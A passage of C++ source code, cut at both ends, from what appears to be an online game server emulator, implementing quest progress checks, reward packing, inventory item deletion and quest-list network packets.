pQuestNpcTalk->GetQuestNPCTalk(); pNpcQuestExpInfo->NpcQuestAskInfo[iAskCnt].dwCurrentValue = pUserQuestInfo->m_UserQuestAskInfo[iAskCnt].GetValue(); } break; default: g_Log.Add("[QuestExp] - Error - Unknown Ask Type [%d] [%s] [%d]", iQuestType, __FILE__, __LINE__); return false; } map_it++; iAskCnt++; } QuestExpRewardKindRandom *pRewardKindRandom = nullptr; int iArrRewardIndex[MAX_QUESTEXP_REWARDKIND_RANDOM] = {0, 0, 0, 0, 0}; QuestExpRewardKind *pRewardKind = g_QuestExpManager.GetQuestExpRewardKind(dwQuestInfoIndexID); if (pRewardKind) { if (pRewardKind->GetRewardKind() == true) { pRewardKindRandom = static_cast<QuestExpRewardKindRandom *>(pRewardKind); memcpy(iArrRewardIndex, pRewardKindRandom->GetRewardIndex(), sizeof(iArrRewardIndex)); } } auto MapQuestReward = pQuestExpInfo->GetQuestReward(); auto quest_reward_it = MapQuestReward.begin(); auto quest_reward_end = MapQuestReward.end(); int iReward = 0; while (true) { if (quest_reward_it == quest_reward_end) { break; } QuestExpReward *pQuestExpReward = quest_reward_it->second; if (!pQuestExpReward) { g_Log.Add("[QuestExp] - Error - GetSendQuestInfo *** : [%s][%s] QuestIndexID[0x%x]", gObj[iObjIndex].AccountID, gObj[iObjIndex].Name, dwQuestInfoIndexID); return false; } if (IsQuestRewardInfo(iReward) == false) { g_Log.Add("[QuestExp] - Error - iReward [%d] [%s] [%d]", iReward, __FILE__, __LINE__); return false; } int iRewardType = pQuestExpReward->GetRewardType(); if (pRewardKind) { for (int i = 0; i < MAX_QUESTEXP_REWARDKIND_RANDOM; ++i) { if (iArrRewardIndex[i] == pQuestExpReward->GetIndexID()) { iRewardType |= 0x20; } } } switch (iRewardType & 0xFFFFFFDF) { case QUESTEXP_REWARD_EXP: { RewardExp *reward_exp = static_cast<RewardExp *>(pQuestExpReward); pNpcQuestExpInfo->NpcQuestRewardInfo[iReward].dwAskType = iRewardType; pNpcQuestExpInfo->NpcQuestRewardInfo[iReward].wIndex = 0; pNpcQuestExpInfo->NpcQuestRewardInfo[iReward].dwValue = reward_exp->GetRewardExp(); } break; case QUESTEXP_REWARD_ZEN: { RewardZen *pRewardZen = static_cast<RewardZen *>(pQuestExpReward); pNpcQuestExpInfo->NpcQuestRewardInfo[iReward].dwAskType = iRewardType; pNpcQuestExpInfo->NpcQuestRewardInfo[iReward].wIndex = 0; pNpcQuestExpInfo->NpcQuestRewardInfo[iReward].dwValue = pRewardZen->GetRewardZen(); } break; case QUESTEXP_REWARD_ITEM: { RewardItem *pRewardItem = static_cast<RewardItem *>(pQuestExpReward); pNpcQuestExpInfo->NpcQuestRewardInfo[iReward].dwAskType = iRewardType; pNpcQuestExpInfo->NpcQuestRewardInfo[iReward].wIndex = pRewardItem->GetRewardItemNum(); pNpcQuestExpInfo->NpcQuestRewardInfo[iReward].dwValue = pRewardItem->GetRewardItemCnt(); CItem Item; Item.m_Type = pRewardItem->GetRewardItemNum(); Item.m_Level = pRewardItem->GetRewardItemLevel(); Item.m_Option1 = pRewardItem->GetRewardItemSkill(); Item.m_Durability = pRewardItem->GetRewardItemDur(); Item.m_NewOption = pRewardItem->GetRewardItemExOpt(); Item.m_Option3 = pRewardItem->GetRewardItemOpt(); ItemByteConvert(pNpcQuestExpInfo->NpcQuestRewardInfo[iReward].btItemInfo, Item); if (pRewardItem->GetRewardItemOverlap() == true) { int iItemCnt = pRewardItem->GetRewardItemCnt(); int iItemDur = pRewardItem->GetRewardItemDur(); pNpcQuestExpInfo->NpcQuestRewardInfo[iReward].dwValue = iItemDur * iItemCnt; } } break; case QUESTEXP_REWARD_CONTRIBUTION_POINT: { RewardContribute *pRewardContribute = static_cast<RewardContribute *>(pQuestExpReward); pNpcQuestExpInfo->NpcQuestRewardInfo[iReward].dwAskType = iRewardType; pNpcQuestExpInfo->NpcQuestRewardInfo[iReward].wIndex = 0; pNpcQuestExpInfo->NpcQuestRewardInfo[iReward].dwValue = pRewardContribute->GetRewardContributePoint(); } break; default: g_Log.Add("[QuestExp] - Error - Unknown Reward Type %d %s %d", iRewardType, __FILE__, __LINE__); return false; } ++quest_reward_it; iReward++; } return true; } void QuestExpProgMng::ChkUserQuestTypeBuff(QuestBuff *pQuestBuff, UserQuestAskInfo *pUserQuestAskInfo, int iObjIndex) { int iBuffIndex = pQuestBuff->GetQuestBuffIndex(); if (::gObjCheckUsedBuffEffect(&gObj[iObjIndex], iBuffIndex)) { pUserQuestAskInfo->SetValue(1); pUserQuestAskInfo->SetComplete(true); } else { pUserQuestAskInfo->SetValue(0); pUserQuestAskInfo->SetComplete(false); } } void QuestExpProgMng::ChkUserQuestTypeNeedZen(QuestNeedZen *pQuestNeedZen, UserQuestAskInfo *pUserQuestAskInfo, int iObjIndex) { int iZen = gObj[iObjIndex].m_PlayerData->Money; if (iZen < pQuestNeedZen->GetQuestNeedZen()) { pUserQuestAskInfo->SetValue(iZen); pUserQuestAskInfo->SetComplete(false); } else { pUserQuestAskInfo->SetValue(iZen); pUserQuestAskInfo->SetComplete(true); } } void QuestExpProgMng::ChkUserQuestTypeSkillLearn(QuestSkillLearn *pQuestSkillLearn, UserQuestAskInfo *pUserQuestAskInfo, int iObjIndex) { int iSkillIndex = pQuestSkillLearn->GetQuestSkillIndex(); for (int n = 0; n < MAX_MAGIC; n++) { if (gObj[iObjIndex].Magic[n].IsMagic()) { if (gObj[iObjIndex].Magic[n].m_Skill == iSkillIndex) { if (!pUserQuestAskInfo->IsComplete()) { pUserQuestAskInfo->SetComplete(true); pUserQuestAskInfo->SetValue(1); } } } } } void QuestExpProgMng::ChkUserQuestTypeLevelUp(QuestLevelUp *pQuestLevelUp, UserQuestAskInfo *pUserQuestAskInfo, int iObjIndex) { int iUserLevel = gObj[iObjIndex].Level; if (pQuestLevelUp->GetQuestLevelVal() > iUserLevel) { pUserQuestAskInfo->SetComplete(false); pUserQuestAskInfo->SetValue(iUserLevel); } else { pUserQuestAskInfo->SetComplete(true); pUserQuestAskInfo->SetValue(iUserLevel); } } void QuestExpProgMng::DeleteInventoryItem(QuestGetItem *pQuestGetItem, int iObjIndex) { if (ObjectMaxRange(iObjIndex) == false || !gObjIsConnected(iObjIndex)) { return; } int iItemCnt = pQuestGetItem->GetQuestItemCnt(); int iItemNum = pQuestGetItem->GetQuestItemNum(); int iItemLevel = pQuestGetItem->GetQuestItemLevel(); int iItemOpt = pQuestGetItem->GetQuestItemOpt(); int iItemExOpt = pQuestGetItem->GetQuestItemExOpt(); int iItemSkill = pQuestGetItem->GetQuestItemSkill(); for (int x = 0; x < INVENTORY_SIZE; ++x) { if (!gObj[iObjIndex].pInventory[x].IsItem()) { continue; } if (iItemCnt <= 0) return; if (gObj[iObjIndex].pInventory[x].m_Type != iItemNum) { continue; } if (gObj[iObjIndex].pInventory[x].m_Level != iItemLevel) { continue; } if ((gObj[iObjIndex].pInventory[x].m_Type<ITEMGET(14, 0) || gObj[iObjIndex].pInventory[x].m_Type>ITEMGET(14, 8)) && (gObj[iObjIndex].pInventory[x].m_Type<ITEMGET(14, 35) || gObj[iObjIndex].pInventory[x].m_Type>ITEMGET(14, 40)) && g_QuestExpManager.IsQuestItemAtt(gObj[iObjIndex].pInventory[x].m_Type, QUESTEXP_ITEM_OVERLAP) != true) { if (gObj[iObjIndex].pInventory[x].m_Option1 != iItemSkill) { continue; } if (gObj[iObjIndex].pInventory[x].m_Option3 != iItemOpt) { continue; } if (gObj[iObjIndex].pInventory[x].m_NewOption != iItemExOpt) { continue; } if (gObj[iObjIndex].pInventory[x].m_Option2 != 0) { continue; } if (gObj[iObjIndex].pInventory[x].m_SetOption != 0) { continue; } BYTE NewOption[MAX_EXOPTION_SIZE] = {0}; ItemIsBufExOption(NewOption, &gObj[iObjIndex].pInventory[x]); g_Log.Add( "[QuestExp] DeleteInvenItem [%s][%s] Delete Item Info - Item:[%s,%d,%d,%d,%d] serial:[%I64d][%d] Ex:[%d,%d,%d,%d,%d,%d,%d] Set[%d] 380:[%d] HO:[%d,%d] SC[%d,%d,%d,%d,%d] BonusOption[%d]", gObj[iObjIndex].AccountID, gObj[iObjIndex].Name, gObj[iObjIndex].pInventory[x].GetName(), gObj[iObjIndex].pInventory[x].m_Level, gObj[iObjIndex].pInventory[x].m_Option1, gObj[iObjIndex].pInventory[x].m_Option2, gObj[iObjIndex].pInventory[x].m_Option3, gObj[iObjIndex].pInventory[x].m_Number, (int) gObj[iObjIndex].pInventory[x].m_Durability, NewOption[0], NewOption[1], NewOption[2], NewOption[3], NewOption[4], NewOption[5], NewOption[6], gObj[iObjIndex].pInventory[x].m_SetOption, gObj[iObjIndex].pInventory[x].m_ItemOptionEx >> 7, g_kJewelOfHarmonySystem.GetItemStrengthenOption(&gObj[iObjIndex].pInventory[x]), g_kJewelOfHarmonySystem.GetItemOptionLevel(&gObj[iObjIndex].pInventory[x]), gObj[iObjIndex].pInventory[x].m_SocketOption[0], gObj[iObjIndex].pInventory[x].m_SocketOption[1], gObj[iObjIndex].pInventory[x].m_SocketOption[2], gObj[iObjIndex].pInventory[x].m_SocketOption[3], gObj[iObjIndex].pInventory[x].m_SocketOption[4], gObj[iObjIndex].pInventory[x].m_BonusSocketOption); gObjInventoryItemSet(iObjIndex, x, -1); gObj[iObjIndex].pInventory[x].Clear(); GSProtocol.GCInventoryItemDeleteSend(iObjIndex, x, 1); iItemCnt--; } else { if (gObjSearchItemMinus(&gObj[iObjIndex], x, 1)) { x--; } else { BYTE NewOption[MAX_EXOPTION_SIZE] = {0}; ItemIsBufExOption(NewOption, &gObj[iObjIndex].pInventory[x]); g_Log.Add( "[QuestExp] DeleteInvenItem [%s][%s] Delete Item Info - Item:[%s,%d,%d,%d,%d] serial:[%I64d][%d] Ex:[%d,%d,%d,%d,%d,%d,%d] Set[%d] 380:[%d] HO:[%d,%d] SC[%d,%d,%d,%d,%d] BonusOption[%d]", gObj[iObjIndex].AccountID, gObj[iObjIndex].Name, gObj[iObjIndex].pInventory[x].GetName(), gObj[iObjIndex].pInventory[x].m_Level, gObj[iObjIndex].pInventory[x].m_Option1, gObj[iObjIndex].pInventory[x].m_Option2, gObj[iObjIndex].pInventory[x].m_Option3, gObj[iObjIndex].pInventory[x].m_Number, (int) gObj[iObjIndex].pInventory[x].m_Durability, NewOption[0], NewOption[1], NewOption[2], NewOption[3], NewOption[4], NewOption[5], NewOption[6], gObj[iObjIndex].pInventory[x].m_SetOption, gObj[iObjIndex].pInventory[x].m_ItemOptionEx >> 7, g_kJewelOfHarmonySystem.GetItemStrengthenOption(&gObj[iObjIndex].pInventory[x]), g_kJewelOfHarmonySystem.GetItemOptionLevel(&gObj[iObjIndex].pInventory[x]), gObj[iObjIndex].pInventory[x].m_SocketOption[0], gObj[iObjIndex].pInventory[x].m_SocketOption[1], gObj[iObjIndex].pInventory[x].m_SocketOption[2], gObj[iObjIndex].pInventory[x].m_SocketOption[3], gObj[iObjIndex].pInventory[x].m_SocketOption[4], gObj[iObjIndex].pInventory[x].m_BonusSocketOption); gObjInventoryItemSet(iObjIndex, x, -1); gObj[iObjIndex].pInventory[x].Clear(); GSProtocol.GCInventoryItemDeleteSend(iObjIndex, x, 1); } iItemCnt--; } } } void QuestExpProgMng::ChkUserQuestTypeItem(QuestGetItem *pQuestGetItem, UserQuestAskInfo *pUserQuestAskInfo, int iObjIndex) { int iItemCnt = 0; int iItemDur = 0; int iItemNum = pQuestGetItem->GetQuestItemNum(); int iItemLevel = pQuestGetItem->GetQuestItemLevel(); int iItemOpt = pQuestGetItem->GetQuestItemOpt(); int iItemExOpt = pQuestGetItem->GetQuestItemExOpt(); int iItemSkill = pQuestGetItem->GetQuestItemSkill(); for (int x = 0; x < INVENTORY_SIZE; ++x) { if (!gObj[iObjIndex].pInventory[x].IsItem()) { continue; } if (gObj[iObjIndex].pInventory[x].m_Type != iItemNum) { continue; } if (gObj[iObjIndex].pInventory[x].m_Level != iItemLevel) { continue; } if ((gObj[iObjIndex].pInventory[x].m_Type<ITEMGET(14, 0) || gObj[iObjIndex].pInventory[x].m_Type>ITEMGET(14, 8)) && (gObj[iObjIndex].pInventory[x].m_Type<ITEMGET(14, 35) || gObj[iObjIndex].pInventory[x].m_Type>ITEMGET(14, 40)) && g_QuestExpManager.IsQuestItemAtt(gObj[iObjIndex].pInventory[x].m_Type, QUESTEXP_ITEM_OVERLAP) != true) { if (gObj[iObjIndex].pInventory[x].m_Option1 == iItemSkill) { if (gObj[iObjIndex].pInventory[x].m_Option3 == iItemOpt) { if (gObj[iObjIndex].pInventory[x].m_NewOption == iItemExOpt) { if (!gObj[iObjIndex].pInventory[x].m_Option2) { if (!gObj[iObjIndex].pInventory[x].m_SetOption) iItemCnt++; } } } } } else { iItemDur += gObj[iObjIndex].pInventory[x].m_Durability; } } if (iItemDur > 0) { iItemCnt = iItemDur; } pUserQuestAskInfo->SetValue(iItemCnt); if (pQuestGetItem->GetQuestItemCnt() > iItemCnt) { pUserQuestAskInfo->SetComplete(false); } else { if (!pUserQuestAskInfo->IsComplete()) { pUserQuestAskInfo->SetComplete(true); } } } void QuestExpProgMng::ChkMonsterKillPartyPlay(DWORD dwQuestInfoIndexID, int iAskIndex, QuestMonsterKill *pQuestMonsterKill, OBJECTSTRUCT *lpObj, OBJECTSTRUCT *lpMonsterObj) { if (!pQuestMonsterKill) { return; } int iEpisode = GetQuestEpisodeFromInfoIndexId(dwQuestInfoIndexID); int iQS = GetQuestSwitchFromInfoIndexId(dwQuestInfoIndexID); if (lpObj->m_PlayerData->m_UserQuestInfo[iEpisode].GetEpisode() != iEpisode) { return; } if (lpObj->m_PlayerData->m_UserQuestInfo[iEpisode].GetQuestSwitch() != iQS) { return; } UserQuestAskInfo *pUserQuestAskInfo = &lpObj->m_PlayerData->m_UserQuestInfo[iEpisode].m_UserQuestAskInfo[iAskIndex]; if (pUserQuestAskInfo->GetQuestType() != QUESTEXP_ASK_MONSTER) { return; } if (lpMonsterObj->Class != pQuestMonsterKill->GetMonsterIndex()) { return; } int iKillCnt = pQuestMonsterKill->GetMonsterKillCnt(); if (iKillCnt > pUserQuestAskInfo->GetValue()) { pUserQuestAskInfo->SetValue(pUserQuestAskInfo->GetValue() + 1); g_Log.Add( "[QuestExp] Party Play Ask Kill Monster [%s][%s] Ep[%d] QS[%d] MonName[%s] AskKillCnt[%d] KillCnt[%d] ", lpObj->AccountID, lpObj->Name, iEpisode, iQS, lpMonsterObj->Name, pUserQuestAskInfo->GetValue(), pQuestMonsterKill->GetMonsterKillCnt()); } if (pQuestMonsterKill->GetMonsterKillCnt() <= pUserQuestAskInfo->GetValue()) { if (!pUserQuestAskInfo->IsComplete()) { pUserQuestAskInfo->SetComplete(true); } } } void QuestExpProgMng::ChkUserQuestTypeMonsterKill(OBJECTSTRUCT *lpObj, OBJECTSTRUCT *lpMonsterObj) { if (lpObj->PartyNumber == -1) { ChkUserQuestType(QUESTEXP_ASK_MONSTER, lpObj, lpMonsterObj, 0); return; } int iPartyNumber = lpObj->PartyNumber; int iKillerObjIndex = lpObj->m_Index; for (int iPartyUserCount = 0; iPartyUserCount < MAX_USER_IN_PARTY; ++iPartyUserCount) { int iPartyUserIndex = gParty.m_PartyS[iPartyNumber].Number[iPartyUserCount]; if (iPartyUserIndex >= 0) { OBJECTSTRUCT *lpPartyObj = &gObj[iPartyUserIndex]; if (gObj[iPartyUserIndex].Connected >= PLAYER_PLAYING || !lpPartyObj->Live) { if (lpObj->MapNumber == lpPartyObj->MapNumber) { if (gObjCalDistance(lpObj, lpPartyObj) <= 9) { ChkUserQuestType(QUESTEXP_ASK_MONSTER, lpPartyObj, lpMonsterObj, iKillerObjIndex); } } } } } } void QuestExpProgMng::ChkUserQuestType(int iQuestType, OBJECTSTRUCT *lpObj, OBJECTSTRUCT *lpMonsterObj, int iKillerObjIndex) { if (!lpMonsterObj) { return; } for (int i = 0; i < MAX_QUESTEXP_USER_INFO; i++) { if (lpObj->m_PlayerData->m_UserQuestInfo[i].GetEpisode() == 0) { continue; } UserQuestInfo *pUserQuestInfo = &lpObj->m_PlayerData->m_UserQuestInfo[i]; int iAskCnt = pUserQuestInfo->GetAskCnt(); for (int j = 0; j < iAskCnt; j++) { if (iQuestType != pUserQuestInfo->m_UserQuestAskInfo[j].GetQuestType()) { continue; } UserQuestAskInfo *pUserQuestAskInfo = &pUserQuestInfo->m_UserQuestAskInfo[j]; int iIndexID = pUserQuestAskInfo->GetIndexID(); int iEpisode = pUserQuestInfo->GetEpisode(); int iQS = pUserQuestInfo->GetQuestSwitch(); QuestExpAsk *pQuestExpAsk = g_QuestExpManager.GetQuestExpAsk(iEpisode, iQS, iIndexID); if (!pQuestExpAsk) return; if (iQuestType == QUESTEXP_ASK_MONSTER) { QuestMonsterKill *pQuestMonsterKill = static_cast<QuestMonsterKill *>(pQuestExpAsk); if (lpMonsterObj->Class != pQuestMonsterKill->GetMonsterIndex()) { continue; } if (pQuestMonsterKill->GetMonsterKillCnt() > pUserQuestAskInfo->GetValue()) { pUserQuestAskInfo->SetValue(pUserQuestAskInfo->GetValue() + 1); if (!pQuestMonsterKill->IsPartyPlay() || lpObj->PartyNumber == -1) { g_Log.Add( "[QuestExp] Ask Kill Monster [%s][%s] Ep[%d] QS[%d] MonName[%s] AskKillCnt[%d] KillCnt[%d] ", lpObj->AccountID, lpObj->Name, iEpisode, iQS, lpMonsterObj->Name, pQuestMonsterKill->GetMonsterKillCnt(), pUserQuestAskInfo->GetValue()); } else { g_Log.Add( "[QuestExp] Party Play Ask Kill Monster [%s][%s] Ep[%d] QS[%d] MonName[%s] AskKillCnt[%d] KillCnt[%d] MonsterKiller[%s][%s]", lpObj->AccountID, lpObj->Name, iEpisode, iQS, lpMonsterObj->Name, pQuestMonsterKill->GetMonsterKillCnt(), pUserQuestAskInfo->GetValue(), gObj[iKillerObjIndex].AccountID, gObj[iKillerObjIndex].Name); } } if (pQuestMonsterKill->GetMonsterKillCnt() <= pUserQuestAskInfo->GetValue()) { if (!pUserQuestAskInfo->IsComplete()) { pUserQuestAskInfo->SetComplete(true); } } } else if (iQuestType == QUESTEXP_ASK_NPC_TALK) { QuestNpcTalk *pQuestNpcTalk = static_cast<QuestNpcTalk *>(pQuestExpAsk); if (pQuestNpcTalk->GetQuestNPCTalk()) { if (lpMonsterObj->Class == pQuestNpcTalk->GetQuestNPCTalk()) { if (!pUserQuestAskInfo->IsComplete()) { pUserQuestAskInfo->SetValue(1); pUserQuestAskInfo->SetComplete(true); } } } else { if (lpMonsterObj->Class == 543 && g_GensSystem.GetGensInfluence(lpObj) == DUPRIAN_INFLUENCE || lpMonsterObj->Class == 544 && g_GensSystem.GetGensInfluence(lpObj) == VANERT_INFLUENCE) { if (!pUserQuestAskInfo->IsComplete()) { pUserQuestAskInfo->SetValue(1); pUserQuestAskInfo->SetComplete(true); } } } } this->SendQuestAskInfoUpdate(iEpisode, iQS, iQuestType, pUserQuestAskInfo->GetValue(), lpObj->m_Index); } } } void QuestExpProgMng::ChkUserQuestTypeEventMap(int iQuestType, OBJECTSTRUCT *lpObj, int iMapLevel, int iValue) { if (lpObj->Type != OBJ_USER) { return; } for (int i = 0; i < MAX_QUESTEXP_USER_INFO; i++) { if (lpObj->m_PlayerData->m_UserQuestInfo[i].GetEpisode() == 0) { continue; } UserQuestInfo *pUserQuestInfo = &lpObj->m_PlayerData->m_UserQuestInfo[i]; int iAskCnt = pUserQuestInfo->GetAskCnt(); for (int j = 0; j < iAskCnt; j++) { if (iQuestType != pUserQuestInfo->m_UserQuestAskInfo[j].GetQuestType()) { continue; } UserQuestAskInfo *pUserQuestAskInfo = &pUserQuestInfo->m_UserQuestAskInfo[j]; int iIndexID = pUserQuestAskInfo->GetIndexID(); int iEpisode = pUserQuestInfo->GetEpisode(); int iQS = pUserQuestInfo->GetQuestSwitch(); QuestExpAsk *pQuestExpAsk = g_QuestExpManager.GetQuestExpAsk(iEpisode, iQS, iIndexID); switch (iQuestType) { case QUESTEXP_ASK_CHAOSCASTLE_USER_KILL: case QUESTEXP_ASK_CHAOSCASTLE_MON_KILL: case QUESTEXP_ASK_BLOODCASTLE_DOOR_KILL: { QuestEventMapKillPoint *pQuestEventMapKillPoint = static_cast<QuestEventMapKillPoint *>(pQuestExpAsk); if (pQuestEventMapKillPoint->GetQuestEventMapLevel() - 1 == iMapLevel) { int iKillCnt = pQuestEventMapKillPoint->GetQuestEventMapKillCnt(); if (iKillCnt > pUserQuestAskInfo->GetValue()) { pUserQuestAskInfo->SetValue(pUserQuestAskInfo->GetValue() + 1); g_Log.Add( "[QuestExp] Ask Kill User [%s][%s] Ep[%d] QS[%d] RequestType[0x08%X] MapLevel[%d] AskKillCnt[%d] KillCnt[%d]", lpObj->AccountID, lpObj->Name, iEpisode, iQS, iQuestType, iMapLevel, pQuestEventMapKillPoint->GetQuestEventMapKillCnt(), pUserQuestAskInfo->GetValue()); } } if (pQuestEventMapKillPoint->GetQuestEventMapKillCnt() <= pUserQuestAskInfo->GetValue()) { if (!pUserQuestAskInfo->IsComplete()) { pUserQuestAskInfo->SetComplete(true); } } } break; case QUESTEXP_ASK_BLOODCASTLE_CLEAR: case QUESTEXP_ASK_CHAOSCASTLE_CLEAR: case QUESTEXP_ASK_DEVILSQUARE_CLEAR: case QUESTEXP_ASK_ILLUSIONTEMPLE_CLEAR: { QuestEventMapClear *pQuestEventMapClear = static_cast<QuestEventMapClear *>(pQuestExpAsk); if (pQuestEventMapClear->GetQuestEventMapLevel() - 1 == iMapLevel) { if (!pUserQuestAskInfo->IsComplete()) { pUserQuestAskInfo->SetComplete(true); pUserQuestAskInfo->SetValue(1); g_Log.Add( "[QuestExp] Ask Event Map Clear - Complete - [%s][%s] Ep[%d] QS[%d] QuestType[0x%08X]", lpObj->AccountID, lpObj->Name, iEpisode, iQS, iQuestType); } } } break; case QUESTEXP_ASK_DEVILSQUARE_POINT_GAIN: { QuestEventMapDevilPoint *pQuestEventMapDevilPoint = static_cast<QuestEventMapDevilPoint *>(pQuestExpAsk); if (pQuestEventMapDevilPoint->GetQuestEventMapLevel() - 1 == iMapLevel) { int iDevilPoint = pQuestEventMapDevilPoint->GetQuestEventMapDevilPoint(); if (iDevilPoint > pUserQuestAskInfo->GetValue()) { pUserQuestAskInfo->SetValue(iValue + pUserQuestAskInfo->GetValue()); g_Log.Add( "[QuestExp] Ask Devil Point [%s][%s] Ep[%d] QS[%d] RequestType[0x%08X] MapLevel[%d] AskDevilPoint[%d] CurDevilPoint[%d]", lpObj->AccountID, lpObj->Name, iEpisode, iQS, iQuestType, iMapLevel, pQuestEventMapDevilPoint->GetQuestEventMapDevilPoint(), pUserQuestAskInfo->GetValue()); } } if (pQuestEventMapDevilPoint->GetQuestEventMapDevilPoint() <= pUserQuestAskInfo->GetValue()) { if (!pUserQuestAskInfo->IsComplete()) { pUserQuestAskInfo->SetComplete(true); } } } break; case QUESTEXP_ASK_CONTRIBUTION_POINT: { QuestPVP_Point *iDevilPoint = static_cast<QuestPVP_Point *>(pQuestExpAsk); if (iDevilPoint->GetQuestMapNum() == iMapLevel) { if (iDevilPoint->GetQuestPVP_Point() > pUserQuestAskInfo->GetValue()) { pUserQuestAskInfo->SetValue(pUserQuestAskInfo->GetValue() + 1); g_Log.Add( "[QuestExp] Ask PVP [%s][%s] Ep[%d] QS[%d] RequestType[0x08%X] MapNum[%d] AskKillCnt[%d] KillCnt[%d]", lpObj->AccountID, lpObj->Name, iEpisode, iQS, iQuestType, iMapLevel, iDevilPoint->GetQuestPVP_Point(), pUserQuestAskInfo->GetValue()); } } if (iDevilPoint->GetQuestPVP_Point() <= pUserQuestAskInfo->GetValue()) { if (!pUserQuestAskInfo->IsComplete()) { pUserQuestAskInfo->SetComplete(true); } } } break; } this->SendQuestAskInfoUpdate(iEpisode, iQS, iQuestType, pUserQuestAskInfo->GetValue(), lpObj->m_Index); } } } void QuestExpProgMng::AddQuestSwitchList(int iEpisode, int iQS) { if (IsEpisode(iEpisode) == false) { g_Log.Add("[QuestExp] - Error - [%s] [%d]", __FILE__, __LINE__); return; } if (iQS >= MAX_QUESTEXP_SWITCH - 1) { return; } DWORD dwQuestInfoIndexID = GetQuestInfoIndexId(iEpisode, iQS); this->m_vtQuestListNpcTalk.push_back(dwQuestInfoIndexID); } struct PMSG_QUESTSWITCH_LIST { PBMSG_HEAD2 h; WORD wNPCIndex; WORD wQuestCnt; }; void QuestExpProgMng::SendQuestSwitchList(int iObjIndex, int iSendType) { BYTE sendBuff[1024]; PMSG_QUESTSWITCH_LIST QuestList; int lOfs = sizeof(QuestList); QuestList.wQuestCnt = this->m_vtQuestListNpcTalk.size(); int iIndex = iObjIndex; auto it = this->m_vtQuestListNpcTalk.begin(); auto end = this->m_vtQuestListNpcTalk.end(); for (; it != end; it++) { DWORD dwQuestInfoIndexID = *it; memcpy(&sendBuff[lOfs], &dwQuestInfoIndexID, sizeof(dwQuestInfoIndexID)); lOfs += sizeof(dwQuestInfoIndexID); int iEpisode = GetQuestEpisodeFromInfoIndexId(dwQuestInfoIndexID); int iQS = GetQuestSwitchFromInfoIndexId(dwQuestInfoIndexID); if (iSendType == QUESTEXP_SEND_NPC) { g_Log.Add("[QuestExp] Send Quest List To NPC: [%s][%s] Ep[%d] QS[%d] QuestListCnt[%d]", gObj[iIndex].AccountID, gObj[iIndex].Name, iEpisode, iQS, QuestList.wQuestCnt); } else if (iSendType == QUESTEXP_SEND_EVENT) { g_Log.Add("[QuestExp] Send Quest List To Event: [%s][%s] Ep[%d] QS[%d] QuestListCnt[%d]", gObj[iIndex].AccountID, gObj[iIndex].Name, iEpisode, iQS, QuestList.wQuestCnt); } else if (iSendType == QUESTEXP_SEND_ITEM) { g_Log.Add("[QuestExp] Send Quest List Item Used: [%s][%s] Ep[%d] QS[%d] QuestListCnt[%d]", gObj[iIndex].AccountID, gObj[iIndex].Name, iEpisode, iQS, QuestList.wQuestCnt); } } QuestList.wNPCIndex = 0; if (iSendType == QUESTEXP_SEND_NPC) { PHeadSubSetB(reinterpret_cast<BYTE *>(&QuestList), 0xF6, 0x0A, 0); QuestList.wNPCIndex = gObj[gObj[iIndex].TargetNpcNumber].Class; } else if (iSendType == QUESTEXP_SEND_EVENT) { PHeadSubSetB(reinterpret_cast<BYTE *>(&QuestList), 0xF6, 0x03, 0); } else if (iSendType == QUESTEXP_SEND_ITEM) { PHeadSubSetB(reinterpret_cast<BYTE *>(&QuestList), 0xF6, 0x04, 0); } QuestList.h.size = lOfs; memcpy(sendBuff, &QuestList, sizeof(QuestList)); IOCP.DataSend(iIndex, static_cast<BYTE *>(sendBuff), lOfs); this->m_vtQuestListNpcTalk.erase(this->m_vtQuestListNpcTalk.begin(), this->m_vtQuestListNpcTalk.end()); } struct PMSG_QUEST_ASK_STATE { PBMSG_HEAD2 h; DWORD dwQuestInfoIndexID; BYTE btAskIndex; WORD wCurrentValue; }; void QuestExpProgMng::SendQuestAskState(PMSG_QUEST_ASK_STATE *pMsg, int iObjIndex) { PHeadSubSetB((BYTE *) pMsg, 0xF6, 0x0E, sizeof(pMsg)); IOCP.DataSend(iObjIndex, (BYTE *) pMsg, pMsg->h.size); } struct PMSG_ANS_QUESTEXP_COMPLETE { PBMSG_HEAD2 h; DWORD dwQuestInfoIndexID; BYTE btResult; }; void QuestExpProgMng::GCANSQuestCompleteBtnClick(int iObjIndex, DWORD dwQuestInfoIndexID, BYTE btResult) { if (ChkQuestIndexIDToEpAndQSLimit(dwQuestInfoIndexID, iObjIndex) == false) { g_Log.Add("[QuestExp] - Error - [%s] [%d]", __FILE__, __LINE__); return; } PMSG_ANS_QUESTEXP_COMPLETE pMsg; pMsg.dwQuestInfoIndexID = dwQuestInfoIndexID; pMsg.btResult = btResult; PHeadSubSetB((BYTE * ) & pMsg, 0xF6, 0x0D, sizeof(pMsg)); g_Log.Add("[QuestExp] Ans Complete [%s][%s] Ep [%d] QS [%d] Result [%d]", gObj[iObjIndex].Name, gObj[iObjIndex].AccountID, GetQuestEpisodeFromInfoIndexId(dwQuestInfoIndexID), GetQuestSwitchFromInfoIndexId(dwQuestInfoIndexID), btResult); IOCP.DataSend(iObjIndex, (BYTE * ) & pMsg, pMsg.h.size); } #pragma pack(push, 1) struct PMSG_QUESTPROGRESS_LIST { PBMSG_HEAD2 h; BYTE btQuestCnt; }; #pragma pack(pop) void QuestExpProgMng::SendProgressQuestList(int iObjIndex) { BYTE sendBuff[1024] = {0}; BYTE btQuestCnt = 0; PMSG_QUESTPROGRESS_LIST pMsg; int lOfs = sizeof(pMsg); for (int i = 0; i < MAX_QUESTEXP_USER_INFO; ++i) { int iEpisode = gObj[iObjIndex].m_PlayerData->m_UserQuestInfo[i].GetEpisode(); int iQS = gObj[iObjIndex].m_PlayerData->m_UserQuestInfo[i].GetQuestSwitch(); WORD wProgState = gObj[iObjIndex].m_PlayerData->m_UserQuestInfo[i].GetQuestProgState(); if (wProgState == 0) continue; if (iEpisode == 0) continue; if (iQS == 0) continue; if (iQS == 0xFE || iQS == 0xFF) continue; DWORD dwQuestInfoIndexID = GetQuestInfoIndexId(iEpisode, iQS); memcpy(&sendBuff[lOfs], &dwQuestInfoIndexID, sizeof(dwQuestInfoIndexID)); lOfs += sizeof(dwQuestInfoIndexID); btQuestCnt++; g_Log.Add("[QuestExp] Send QuestProg List : [%s][%s] Ep[%d] QS[%d]", gObj[iObjIndex].AccountID, gObj[iObjIndex].Name, iEpisode, iQS); } pMsg.btQuestCnt = btQuestCnt; PHeadSubSetB((BYTE * ) & pMsg, 0xF6, 0x1A, lOfs); memcpy(sendBuff, &pMsg, sizeof(pMsg)); IOCP.DataSend(iObjIndex, (BYTE *) sendBuff, 